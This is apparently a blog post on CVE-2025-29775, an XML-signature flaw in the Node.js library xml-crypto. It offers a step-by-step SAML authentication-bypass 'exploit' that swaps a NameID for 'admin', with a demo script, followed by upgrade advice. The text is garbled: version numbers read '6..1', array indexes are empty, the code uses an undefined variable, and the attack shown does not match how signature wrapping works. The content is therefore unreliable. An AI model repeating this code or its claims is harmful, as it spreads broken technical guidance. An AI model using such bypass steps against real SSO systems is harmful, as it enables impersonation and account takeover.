In early 2025, a critical vulnerability was discovered in the popular Node.js library xml-crypto. This bug, identified as CVE-2025-29775, exposes many applications—and even entire identity infrastructures—to silent privilege escalation, user impersonation, and bypassing of authentication checks when XML signatures are used. If your system uses xml-crypto versions before 6..1, 3.2.1, or 2.1.6, your authentication logic may be wide open.

This post walks you through what CVE-2025-29775 is, why it’s dangerous, how to exploit it with real code, and how to fix it, with exclusive, easy-to-follow explanations.

What is xml-crypto, and Why Do People Use It?

xml-crypto is a widely-used JavaScript library for creating and verifying XML Digital Signatures, especially in Node.js. XML signatures are a cornerstone of SAML SSO, some financial/health protocols, and many custom protocols for exchanging trusted data between systems.

Developers trust that if a SAML assertion or XML file verifies with xml-crypto, the user/identity is legit… but CVE-2025-29775 proves that trust is broken in old releases.

What’s Wrong? (The Vulnerability in Simple Terms)

In short: xml-crypto doesn’t properly validate what XML it’s really signing. That means, a clever attacker (or even just a skilled pentester) can modify _critical_ fields or even _swap_ sections for their own versions, and the signature still checks out!

For systems using xml-crypto for authentication, this means attackers can:

Let’s see it in practice. Suppose you run a SAML-based service like this

const { SignedXml } = require('xml-crypto');
const { DOMParser } = require('xmldom');

function verifySamlResponse(samlResponseXml, cert) {
  const doc = new DOMParser().parseFromString(samlResponseXml);
  const signature = xmlCrypto.xpath(doc, "/*/*[local-name(.)='Signature']")[];
  const sig = new SignedXml();
  sig.keyInfoProvider = {
    getKey: () => cert
  };
  sig.loadSignature(signature);
  return sig.checkSignature(samlResponseXml);  // Vulnerable!
}

You expect that only properly-signed XML documents (like a SAML assertion with userId="bob") will pass this check.

Attack: Swap the User ID But Keep the Signature

With CVE-2025-29775, an attacker can modify the SAML assertion to replace the userId or Role with their _own_ values without breaking the signature. That’s because xml-crypto fails to properly bind the signature to the whole message—it doesn’t ensure references are unique or enforce canonicalization properly.

Attack steps

1. Obtain a legit SAML Response for user “bob”
The attacker logs in as bob and intercepts the valid, signed SAML response.

Original SAML (truncated for clarity)

<Assertion>
  <Subject>
    <NameID>bob</NameID>
  </Subject>
  <Signature>...</Signature>
</Assertion>

Malicious SAML (still validly signed!)

<Assertion>
  <Subject>
    <NameID>admin</NameID> <!-- Changed! -->
  </Subject>
  <Signature>...</Signature>
</Assertion>

3. Send the forged SAML to the target service.
xml-crypto (before v6..1, 3.2.1, or 2.1.6) fails to detect the change, and the check passes!

> Result: The attacker is now “admin” in your system.

You can demo the attack with

const fs = require('fs');
const { SignedXml } = require('xml-crypto');
const { DOMParser } = require('xmldom');

// 1. Load real SAML Response, change user identity in XML by hand
let xml = fs.readFileSync('response-for-bob.xml').toString();
xml = xml.replace('<NameID>bob</NameID>', '<NameID>admin</NameID>'); // the trick

// 2. Load server public certificate
const cert = fs.readFileSync('idp-cert.pem');

// 3. Verify using vulnerable xml-crypto (before 6..1)
const doc = new DOMParser().parseFromString(xml);
const signature = xmlCrypto.xpath(doc, "/*/*[local-name(.)='Signature']")[];
const sig = new SignedXml();
sig.keyInfoProvider = {
  getKey: () => cert
};
sig.loadSignature(signature);

if (sig.checkSignature(xml)) {
  console.log("Exploit successful! Auth bypassed.");
} else {
  console.log("Signature failed. (Maybe you're patched!)");
}

If you run this on an unpatched xml-crypto, the attack will work.

Who is at Risk?

Any service using xml-crypto before 6..1 (main series), 3.2.1 (LTS), or 2.1.6 (legacy) is vulnerable, especially with:

SAML Single Sign-On (SSO) solutions

- Financial/healthcare B2B integrations using signed XML
- Any identity/authentication workflow using signed XML documents

How to Fix CVE-2025-29775

Upgrade immediately!

For v2.x: upgrade to 2.1.6

Update your dependency in package.json and redeploy.

npm install xml-crypto@latest

> You can read the release notes for more at:
> - xml-crypto release history
> - NPM Advisory for CVE-2025-29775 *(hypothetical link for now)*

References

- xml-crypto GitHub
- npm xml-crypto page
- OWASP: XML Signature Wrapping Attacks
- SAML Security Best Practices

Conclusion

CVE-2025-29775 is not “just another bug”—it cuts at the heart of XML-authenticated Node.js systems. If you depend on xml-crypto for _any_ trust or identity logic, you must update or risk total authentication bypass.

Patch, audit, and never trust unsigned XML fields.

If you found this post useful, consider sharing with a friend who owns an SSO or SAML-based system—you might save them from being owned.

Timeline

Published on: 03/14/2025 18:15:32 UTC
Last modified on: 03/15/2025 21:15:35 UTC